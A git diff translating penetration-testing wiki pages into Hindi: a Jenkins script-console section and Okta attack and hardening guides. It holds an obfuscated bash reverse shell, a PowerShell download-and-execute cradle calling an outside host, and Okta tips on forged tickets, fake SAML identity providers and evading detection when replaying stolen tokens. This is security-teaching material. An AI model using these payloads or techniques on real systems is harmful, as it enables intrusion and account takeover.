+**एक और उपयोगी ग्रोवी स्क्रिप्ट** है (स्थानापन्न \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-
-### Reverse shell in linux
-
+### लिनक्स में रिवर्स शेल
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
+### Windows में रिवर्स शेल
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
+आप एक PS रिवर्स शेल के साथ HTTP सर्वर तैयार कर सकते हैं और इसे डाउनलोड और निष्पादित करने के लिए Jeking का उपयोग कर सकते हैं:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-
### Script
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
+आप इस प्रक्रिया को [**इस स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) के साथ स्वचालित कर सकते हैं।
+आप रिवर्स शेल प्राप्त करने के लिए MSF का उपयोग कर सकते हैं:
```
msf> use exploit/multi/http/jenkins_script_console
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index e682996c2..4cf16534c 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -4,103 +4,103 @@
## Basic Information
-[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
+[Okta, Inc.](https://www.okta.com/) पहचान और पहुंच प्रबंधन क्षेत्र में अपने क्लाउड-आधारित सॉफ़्टवेयर समाधानों के लिए जाना जाता है। ये समाधान विभिन्न आधुनिक अनुप्रयोगों में उपयोगकर्ता प्रमाणीकरण को सरल और सुरक्षित बनाने के लिए डिज़ाइन किए गए हैं। ये न केवल उन कंपनियों के लिए हैं जो अपने संवेदनशील डेटा की सुरक्षा करना चाहती हैं, बल्कि उन डेवलपर्स के लिए भी हैं जो अनुप्रयोगों, वेब सेवाओं और उपकरणों में पहचान नियंत्रण को एकीकृत करने में रुचि रखते हैं।
-The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
+Okta की प्रमुख पेशकश **Okta Identity Cloud** है। यह प्लेटफ़ॉर्म उत्पादों के एक सूट को शामिल करता है, जिसमें शामिल हैं लेकिन सीमित नहीं हैं:
-- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-- **Universal Directory**: Enables centralized management of users, groups, and devices.
-- **API Access Management**: Secures and manages access to APIs.
+- **Single Sign-On (SSO)**: कई अनुप्रयोगों में एक सेट लॉगिन क्रेडेंशियल्स के माध्यम से उपयोगकर्ता पहुंच को सरल बनाता है।
+- **Multi-Factor Authentication (MFA)**: कई प्रकार की सत्यापन आवश्यकताओं के माध्यम से सुरक्षा को बढ़ाता है।
+- **Lifecycle Management**: उपयोगकर्ता खाता निर्माण, अपडेट और निष्क्रियता प्रक्रियाओं को स्वचालित करता है।
+- **Universal Directory**: उपयोगकर्ताओं, समूहों और उपकरणों का केंद्रीकृत प्रबंधन सक्षम बनाता है।
+- **API Access Management**: APIs तक पहुंच को सुरक्षित और प्रबंधित करता है।
-These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
+ये सेवाएँ सामूहिक रूप से डेटा सुरक्षा को मजबूत करने और उपयोगकर्ता पहुंच को सरल बनाने का लक्ष्य रखती हैं, जिससे सुरक्षा और सुविधा दोनों में सुधार होता है। Okta के समाधानों की बहुपरकारीता उन्हें विभिन्न उद्योगों में एक लोकप्रिय विकल्प बनाती है, जो बड़े उद्यमों, छोटे कंपनियों और व्यक्तिगत डेवलपर्स के लिए फायदेमंद है। सितंबर 2021 में अंतिम अपडेट के अनुसार, Okta पहचान और पहुंच प्रबंधन (IAM) क्षेत्र में एक प्रमुख इकाई के रूप में मान्यता प्राप्त है।
> [!CAUTION]
-> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
+> Okta का मुख्य लक्ष्य विभिन्न उपयोगकर्ताओं और समूहों के लिए बाहरी अनुप्रयोगों तक पहुंच को कॉन्फ़िगर करना है। यदि आप **Okta** वातावरण में **प्रशासक विशेषाधिकारों से समझौता करने में सफल होते हैं**, तो आप **संभवतः कंपनी द्वारा उपयोग किए जा रहे सभी अन्य प्लेटफार्मों से समझौता करने में सक्षम होंगे**।
> [!TIP]
-> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
+> Okta वातावरण की सुरक्षा समीक्षा करने के लिए आपको **प्रशासक केवल पढ़ने की पहुंच** मांगनी चाहिए।
### Summary
-There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
-These users can be inside **groups**.\
-There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
+यहां **उपयोगकर्ता** हैं (जो **Okta में संग्रहीत** हो सकते हैं, कॉन्फ़िगर किए गए **पहचान प्रदाताओं** से लॉग इन कर सकते हैं या **Active Directory** या LDAP के माध्यम से प्रमाणित हो सकते हैं)।\
+ये उपयोगकर्ता **समूहों** के अंदर हो सकते हैं।\
+यहां **प्रमाणक** भी हैं: प्रमाणित करने के लिए विभिन्न विकल्प जैसे पासवर्ड, और कई 2FA जैसे WebAuthn, ईमेल, फोन, Okta Verify (इन्हें सक्षम या अक्षम किया जा सकता है)...
-Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
+फिर, यहां **अनुप्रयोग** हैं जो Okta के साथ समन्वयित हैं। प्रत्येक अनुप्रयोग का कुछ **Okta के साथ मैपिंग** होगा ताकि जानकारी साझा की जा सके (जैसे ईमेल पते, पहले नाम...)। इसके अलावा, प्रत्येक अनुप्रयोग को एक **प्रमाणीकरण नीति** के अंतर्गत होना चाहिए, जो यह दर्शाती है कि किसी उपयोगकर्ता को अनुप्रयोग तक **पहुँचने** के लिए **आवश्यक प्रमाणक** क्या हैं।
> [!CAUTION]
-> The most powerful role is **Super Administrator**.
+> सबसे शक्तिशाली भूमिका **सुपर प्रशासक** है।
>
-> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
+> यदि एक हमलावर Okta को प्रशासक पहुंच के साथ समझौता करता है, तो सभी **अनुप्रयोग जो Okta पर भरोसा करते हैं** संभवतः **समझौता** कर लिए जाएंगे।
## Attacks
### Locating Okta Portal
-Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
+आमतौर पर किसी कंपनी का पोर्टल **companyname.okta.com** पर स्थित होगा। यदि नहीं, तो **companyname.** के सरल **विविधताओं** का प्रयास करें। यदि आप इसे नहीं ढूंढ पाते हैं, तो यह भी संभव है कि संगठन के पास **CNAME** रिकॉर्ड हो जैसे **`okta.companyname.com`** जो **Okta पोर्टल** की ओर इशारा करता है।
### Login in Okta via Kerberos
-If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
+यदि **`companyname.kerberos.okta.com`** सक्रिय है, तो **Okta पहुंच के लिए Kerberos का उपयोग किया जाता है**, आमतौर पर **Windows** उपयोगकर्ताओं के लिए **MFA** को बायपास करते हुए। AD में Kerberos-सत्यापित Okta उपयोगकर्ताओं को खोजने के लिए, **`getST.py`** को **उपयुक्त पैरामीटर** के साथ चलाएं। एक **AD उपयोगकर्ता टिकट** प्राप्त करने के बाद, **इसे** नियंत्रित होस्ट में Rubeus या Mimikatz जैसे उपकरणों का उपयोग करके **इंजेक्ट** करें, यह सुनिश्चित करते हुए कि **`clientname.kerberos.okta.com` इंटरनेट विकल्पों "इंट्रानेट" क्षेत्र में है**। एक विशिष्ट URL तक पहुंचने पर JSON "OK" प्रतिक्रिया लौटनी चाहिए, जो Kerberos टिकट स्वीकृति को दर्शाती है, और Okta डैशबोर्ड तक पहुंच प्रदान करती है।
-Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
+**Okta सेवा खाते से समझौता करना और प्रतिनिधित्व SPN एक Silver Ticket हमले को सक्षम करता है।** हालाँकि, Okta के टिकट एन्क्रिप्शन के लिए **AES** का उपयोग करने के लिए AES कुंजी या प्लेनटेक्स्ट पासवर्ड होना आवश्यक है। **`ticketer.py` का उपयोग करें ताकि पीड़ित उपयोगकर्ता के लिए एक टिकट उत्पन्न किया जा सके** और इसे ब्राउज़र के माध्यम से Okta के साथ प्रमाणित करने के लिए वितरित किया जा सके।
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
### Hijacking Okta AD Agent
-This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
+यह तकनीक **एक सर्वर पर Okta AD एजेंट तक पहुंचने** से संबंधित है, जो **उपयोगकर्ताओं को समन्वयित करता है और प्रमाणीकरण को संभालता है**। **`OktaAgentService.exe.config`** में कॉन्फ़िगरेशन की जांच और डिक्रिप्ट करके, विशेष रूप से AgentToken का उपयोग करके **DPAPI**, एक हमलावर संभावित रूप से **प्रमाणीकरण डेटा को इंटरसेप्ट और हेरफेर** कर सकता है। यह न केवल Okta प्रमाणीकरण प्रक्रिया के दौरान **उपयोगकर्ता क्रेडेंशियल्स** को प्लेनटेक्स्ट में **निगरानी** और **कैप्चर** करने की अनुमति देता है, बल्कि **प्रमाणीकरण प्रयासों** का भी उत्तर देने की अनुमति देता है, जिससे अनधिकृत पहुंच सक्षम होती है या Okta के माध्यम से सार्वभौमिक प्रमाणीकरण प्रदान किया जाता है (जैसे 'कंकाल कुंजी')।
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
### Hijacking AD As an Admin
-This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
+यह तकनीक पहले OAuth कोड प्राप्त करके फिर API टोकन का अनुरोध करके Okta AD एजेंट को हाईजैक करने से संबंधित है। टोकन एक AD डोमेन से संबंधित है, और एक **कनेक्टर को एक नकली AD एजेंट स्थापित करने के लिए नामित किया गया है**। प्रारंभिककरण एजेंट को **प्रमाणीकरण प्रयासों को संसाधित करने** की अनुमति देता है, Okta API के माध्यम से क्रेडेंशियल्स को कैप्चर करता है। स्वचालन उपकरण इस प्रक्रिया को सरल बनाने के लिए उपलब्ध हैं, जो Okta वातावरण के भीतर प्रमाणीकरण डेटा को इंटरसेप्ट और संभालने के लिए एक सहज विधि प्रदान करते हैं।
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
### Okta Fake SAML Provider
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
-The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
+यह तकनीक **एक नकली SAML प्रदाता को तैनात करने** से संबंधित है। एक विशेषाधिकार प्राप्त खाते का उपयोग करके Okta के ढांचे के भीतर एक बाहरी पहचान प्रदाता (IdP) को एकीकृत करके, हमलावर **IdP को नियंत्रित कर सकते हैं, किसी भी प्रमाणीकरण अनुरोध को इच्छानुसार अनुमोदित कर सकते हैं**। प्रक्रिया में Okta में SAML 2.0 IdP सेट करना, स्थानीय होस्ट फ़ाइल के माध्यम से पुनर्निर्देशन के लिए IdP सिंगल साइन-ऑन URL में हेरफेर करना, एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करना, और उपयोगकर्ता नाम या ईमेल के खिलाफ Okta सेटिंग्स को कॉन्फ़िगर करना शामिल है। इन चरणों को सफलतापूर्वक निष्पादित करने से किसी भी Okta उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति मिलती है, व्यक्तिगत उपयोगकर्ता क्रेडेंशियल्स की आवश्यकता को बायपास करते हुए, संभावित रूप से अनदेखी तरीके से पहुंच नियंत्रण को महत्वपूर्ण रूप से बढ़ाता है।
### Phishing Okta Portal with Evilgnix
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
+[**इस ब्लॉग पोस्ट**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) में बताया गया है कि Okta पोर्टल के खिलाफ फ़िशिंग अभियान कैसे तैयार करें।
### Colleague Impersonation Attack
-The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
+**प्रत्येक उपयोगकर्ता के पास होने वाले और संशोधित करने योग्य विशेषताएँ** (जैसे ईमेल या पहले नाम) Okta में कॉन्फ़िगर की जा सकती हैं। यदि एक **अनुप्रयोग** एक **विशेषता** के रूप में ID पर **भरोसा** करता है जिसे उपयोगकर्ता **संशोधित** कर सकता है, तो वह उस प्लेटफ़ॉर्म में अन्य उपयोगकर्ताओं का **नकली रूप धारण** करने में सक्षम होगा।
-Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
+इसलिए, यदि ऐप **`userName`** फ़ील्ड पर भरोसा कर रहा है, तो आप संभवतः इसे बदलने में सक्षम नहीं होंगे (क्योंकि आप आमतौर पर उस फ़ील्ड को नहीं बदल सकते), लेकिन यदि यह उदाहरण के लिए **`primaryEmail`** पर भरोसा कर रहा है, तो आप इसे **एक सहयोगी के ईमेल पते** में बदलने में सक्षम हो सकते हैं और उसका नकली रूप धारण कर सकते हैं (आपको ईमेल तक पहुंच प्राप्त करनी होगी और परिवर्तन को स्वीकार करना होगा)।
-Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
-Therefore, the app should have this field enabled if it exists:
+ध्यान दें कि यह नकली रूप धारण करना इस बात पर निर्भर करता है कि प्रत्येक अनुप्रयोग को कैसे कॉन्फ़िगर किया गया था। केवल वही जो आपने संशोधित किया है उस फ़ील्ड पर भरोसा करते हैं और अपडेट स्वीकार करते हैं, वे समझौता किए जाएंगे।\
+इसलिए, यदि यह फ़ील्ड मौजूद है तो ऐप को इसे सक्षम करना चाहिए:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
+मैंने अन्य ऐप्स को भी देखा है जो कमजोर थे लेकिन Okta सेटिंग्स में वह फ़ील्ड नहीं थी (अंत में विभिन्न ऐप्स को अलग-अलग तरीके से कॉन्फ़िगर किया गया है)।
-The best way to find out if you could impersonate anyone on each app would be to try it!
+यह पता लगाने का सबसे अच्छा तरीका कि क्या आप प्रत्येक ऐप पर किसी का भी नकली रूप धारण कर सकते हैं, यह प्रयास करना होगा!
## Evading behavioural detection policies
-Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
+Okta में व्यवहारिक पहचान नीतियाँ तब तक अज्ञात हो सकती हैं जब तक कि उनका सामना न किया जाए, लेकिन **उन्हें बायपास करना** **Okta अनुप्रयोगों को सीधे लक्षित करके** किया जा सकता है, मुख्य Okta डैशबोर्ड से बचते हुए। एक **Okta एक्सेस टोकन** के साथ, मुख्य लॉगिन पृष्ठ के बजाय **अनुप्रयोग-विशिष्ट Okta URL** पर टोकन को पुनः चलाएं।
-Key recommendations include:
+मुख्य सिफारिशों में शामिल हैं:
-- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-- Ensure **consistent user-agent strings** between the client and replayed access tokens.
-- **Refrain from replaying** tokens from different users from the same IP address.
-- Exercise caution when replaying tokens against the Okta dashboard.
-- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **लोकप्रिय एनोनिमाइज़र प्रॉक्सी और VPN सेवाओं का उपयोग करने से बचें** जब कैप्चर किए गए एक्सेस टोकन को पुनः चलाते हैं।
+- सुनिश्चित करें कि **क्लाइंट और पुनः चलाए गए एक्सेस टोकनों के बीच उपयोगकर्ता-एजेंट स्ट्रिंग्स** सुसंगत हैं।
+- **एक ही IP पते से विभिन्न उपयोगकर्ताओं के टोकनों को पुनः चलाने से बचें**।
+- Okta डैशबोर्ड के खिलाफ टोकनों को पुनः चलाते समय सावधानी बरतें।
+- यदि पीड़ित कंपनी के IP पते के बारे में पता है, तो **उन IPs या उनके रेंज तक ट्रैफ़िक को सीमित करें**, सभी अन्य ट्रैफ़िक को ब्लॉक करें।
## Okta Hardening
-Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
+Okta में कई संभावित कॉन्फ़िगरेशन हैं, इस पृष्ठ पर आप उन्हें इस तरह से समीक्षा करना सीखेंगे कि वे यथासंभव सुरक्षित हों:
{{#ref}}
okta-hardening.md
@@ -112,7 +112,3 @@ okta-hardening.md
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index a7dac96a7..f6c8060d9 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,72 +6,72 @@
### People
-From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
+हमलावर के दृष्टिकोण से, यह बहुत दिलचस्प है क्योंकि आप **सभी पंजीकृत उपयोगकर्ताओं** को देख सकेंगे, उनके **ईमेल** पते, वे **समूह** जिनका वे हिस्सा हैं, **प्रोफाइल** और यहां तक कि **डिवाइस** (मोबाइल और उनके OS) भी देख सकेंगे।
-For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
+एक व्हाइटबॉक्स समीक्षा के लिए जांचें कि "**लंबित उपयोगकर्ता क्रिया**" और "**पासवर्ड रीसेट**" नहीं हैं।
### Groups
-This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
-It's possible to see the **people included inside groups** and **apps assigned** to each group.
+यहां आप Okta में बनाए गए सभी समूहों को पाएंगे। यह समझना दिलचस्प है कि विभिन्न समूहों (**अनुमतियों** का सेट) को **उपयोगकर्ताओं** को दिया जा सकता है।\
+यह देखना संभव है कि **समूहों में शामिल लोग** और **प्रत्येक समूह को असाइन किए गए ऐप्स** कौन से हैं।
-Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
+बेशक, **admin** नाम वाले किसी भी समूह में दिलचस्पी है, विशेष रूप से समूह **Global Administrators,** सदस्यों की जांच करें ताकि यह जान सकें कि सबसे विशेषाधिकार प्राप्त सदस्य कौन हैं।
-From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
+एक व्हाइटबॉक्स समीक्षा से, वहां **5 से अधिक वैश्विक प्रशासक नहीं होने चाहिए** (यदि केवल 2 या 3 हैं तो बेहतर है)।
### Devices
-Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
+यहां सभी उपयोगकर्ताओं के **सभी उपकरणों की सूची** पाएंगे। आप यह भी देख सकते हैं कि इसे **सक्रिय रूप से प्रबंधित** किया जा रहा है या नहीं।
### Profile Editor
-Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
+यहां यह देखना संभव है कि कैसे महत्वपूर्ण जानकारी जैसे पहले नाम, अंतिम नाम, ईमेल, उपयोगकर्ता नाम... Okta और अन्य अनुप्रयोगों के बीच साझा की जाती है। यह दिलचस्प है क्योंकि यदि एक उपयोगकर्ता **Okta में एक फ़ील्ड** (जैसे उसका नाम या ईमेल) को **संशोधित** कर सकता है, जो फिर एक **बाहरी अनुप्रयोग** द्वारा उपयोगकर्ता की **पहचान** के लिए उपयोग किया जाता है, तो एक अंदरूनी व्यक्ति अन्य खातों को **अपने कब्जे में लेने** की कोशिश कर सकता है।
-Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
+इसके अलावा, Okta के प्रोफाइल **`User (default)`** में आप देख सकते हैं कि प्रत्येक **उपयोगकर्ता** के पास **कौन से फ़ील्ड** हैं और कौन से **उपयोगकर्ताओं द्वारा लिखने योग्य** हैं। यदि आप व्यवस्थापक पैनल नहीं देख सकते हैं, तो बस **अपनी प्रोफाइल** जानकारी को अपडेट करने के लिए जाएं और आप देखेंगे कि आप कौन से फ़ील्ड अपडेट कर सकते हैं (ध्यान दें कि एक ईमेल पते को अपडेट करने के लिए आपको इसे सत्यापित करने की आवश्यकता होगी)।
### Directory Integrations
-Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
+डायरेक्टरीज़ आपको मौजूदा स्रोतों से लोगों को आयात करने की अनुमति देती हैं। मुझे लगता है कि यहां आप अन्य डायरेक्टरीज़ से आयातित उपयोगकर्ताओं को देखेंगे।
-I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
+मैंने इसे नहीं देखा है, लेकिन मुझे लगता है कि यह पता लगाने के लिए दिलचस्प है कि **Okta अन्य डायरेक्टरीज़ का उपयोग कर रहा है** ताकि यदि आप **उस डायरेक्टरी को समझौता** कर लें, तो आप Okta में बनाए गए उपयोगकर्ताओं के लिए कुछ विशेषताओं के मान सेट कर सकें और **शायद Okta वातावरण को समझौता** कर सकें।
### Profile Sources
-A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
+एक प्रोफाइल स्रोत एक **ऐप्लिकेशन है जो उपयोगकर्ता प्रोफाइल विशेषताओं के लिए सत्यता का स्रोत** के रूप में कार्य करता है। एक उपयोगकर्ता केवल एक समय में एक ही ऐप्लिकेशन या डायरेक्टरी द्वारा स्रोत किया जा सकता है।
-I haven't seen it, so any information about security and hacking regarding this option is appreciated.
+मैंने इसे नहीं देखा है, इसलिए इस विकल्प के संबंध में सुरक्षा और हैकिंग के बारे में कोई भी जानकारी सराहनीय है।
## Customizations
### Brands
-Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
+इस अनुभाग के **Domains** टैब में जांचें कि ईमेल पते क्या हैं जो ईमेल भेजने के लिए उपयोग किए जाते हैं और कंपनी का Okta में कस्टम डोमेन (जिसे आप शायद पहले से जानते हैं)।
-Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
+इसके अलावा, **Setting** टैब में, यदि आप व्यवस्थापक हैं, तो आप "**कस्टम साइन-आउट पृष्ठ का उपयोग करें**" और एक कस्टम URL सेट कर सकते हैं।
### SMS
-Nothing interesting here.
+यहां कुछ दिलचस्प नहीं है।
### End-User Dashboard
-You can find here applications configured, but we will see the details of those later in a different section.
+आप यहां कॉन्फ़िगर किए गए अनुप्रयोगों को पा सकते हैं, लेकिन हम बाद में एक अलग अनुभाग में उनके विवरण देखेंगे।
### Other
-Interesting setting, but nothing super interesting from a security point of view.
+दिलचस्प सेटिंग, लेकिन सुरक्षा के दृष्टिकोण से कुछ सुपर दिलचस्प नहीं है।
## Applications
### Applications
-Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
+यहां आप सभी **कॉन्फ़िगर किए गए अनुप्रयोगों** और उनके विवरण को पा सकते हैं: किसके पास उन तक पहुंच है, यह कैसे कॉन्फ़िगर किया गया है (SAML, OPenID), लॉगिन के लिए URL, Okta और अनुप्रयोग के बीच मैपिंग...
-In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
+**`Sign On`** टैब में एक फ़ील्ड भी है जिसे **`Password reveal`** कहा जाता है जो एक उपयोगकर्ता को अनुप्रयोग सेटिंग्स की जांच करते समय **अपना पासवर्ड प्रकट** करने की अनुमति देगा। उपयोगकर्ता पैनल से एक अनुप्रयोग की सेटिंग्स की जांच करने के लिए, 3 बिंदुओं पर क्लिक करें:
-And you could see some more details about the app (like the password reveal feature, if it's enabled):
+और आप ऐप के बारे में कुछ और विवरण देख सकते हैं (जैसे पासवर्ड प्रकट करने की सुविधा, यदि यह सक्षम है):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
-Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
+Access Certifications का उपयोग करें ताकि आप अपने उपयोगकर्ताओं की संसाधनों तक पहुंच की समीक्षा करने के लिए ऑडिट अभियान बना सकें और आवश्यक होने पर स्वचालित रूप से पहुंच को अनुमोदित या रद्द कर सकें।
-I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
+मैंने इसका उपयोग होते नहीं देखा है, लेकिन मुझे लगता है कि एक रक्षात्मक दृष्टिकोण से यह एक अच्छा फीचर है।
## Security
### General
-- **Security notification emails**: All should be enabled.
-- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-- **User enumeration prevention**: Both should be enabled
- - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- - Self-Service Registration
- - JIT flows with email authentication
-- **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **सुरक्षा सूचना ईमेल**: सभी को सक्षम होना चाहिए।
+- **CAPTCHA एकीकरण**: कम से कम अदृश्य reCaptcha सेट करना अनुशंसित है
+- **संगठन सुरक्षा**: सब कुछ सक्षम किया जा सकता है और सक्रियण ईमेल को लंबे समय तक नहीं रहना चाहिए (7 दिन ठीक है)
